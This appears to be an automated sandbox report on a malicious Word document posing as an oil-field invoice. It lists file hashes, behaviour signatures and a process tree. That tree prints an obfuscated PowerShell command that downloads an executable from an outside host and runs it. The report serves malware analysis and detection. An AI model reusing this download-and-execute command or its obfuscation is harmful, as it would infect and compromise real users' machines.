Analysis

  • max time kernel
    122s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    14-10-2021 10:19

General

  • Target

    Invoice- 098765 Oil_Field.doc

  • Size

    55KB

  • MD5

    8a29b9010eae426089e59eab57bcd1de

  • SHA1

    96b75aafab14b177b758d5735f84881f43698c6e

  • SHA256

    0b402031b8fe72ed0557559cc41a4b36cbdcdc55dcc015e966aabdb4af8a2fd6

  • SHA512

    fa754009bc1118cca669755aab803f5ceda44845fb3956c5da6c18258e1eb527e2d027e6fb9a3390aad376bb1f0419d6039aab21ca1f5c9261bd6f82e514dff5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://secure01wa.2waky.com/a/eApp2.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice- 098765 Oil_Field.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:612
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\enjoyskin.cmd" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`ps://secure01wa.2waky.com/a/eApp2.e`xe -Destination C:\Users\Public\Documents\thehigh.e`xe;C:\Users\Public\Documents\thehigh.e`xe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:680
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1240

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Public\Documents\enjoyskin.cmd
      MD5

      230f1498e57ea7fc6045737ec656a244

      SHA1

      9ad151dce892dd271927fb929ebecfa42a127162

      SHA256

      808d1c19a1f4b25535e9bf8d2b4023317ef93fcefb08ef5340c1d7538c5f2ded

      SHA512

      6fd461fe8b4658e8dd8db4acde0a67e4a76525fe8c2c20f3bd24fa2a9ef15c8f2145cf6ad7a92e123ac88bdca133965efdd2590717b5e455c92dda8934c73371

    • memory/612-54-0x0000000072E11000-0x0000000072E14000-memory.dmp
      Filesize

      12KB

    • memory/612-55-0x0000000070891000-0x0000000070893000-memory.dmp
      Filesize

      8KB

    • memory/612-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/612-57-0x0000000075651000-0x0000000075653000-memory.dmp
      Filesize

      8KB

    • memory/612-65-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/680-60-0x0000000000000000-mapping.dmp
    • memory/680-62-0x0000000002480000-0x00000000030CA000-memory.dmp
      Filesize

      12.3MB

    • memory/1056-58-0x0000000000000000-mapping.dmp
    • memory/1240-63-0x0000000000000000-mapping.dmp
    • memory/1240-64-0x000007FEFC271000-0x000007FEFC273000-memory.dmp
      Filesize

      8KB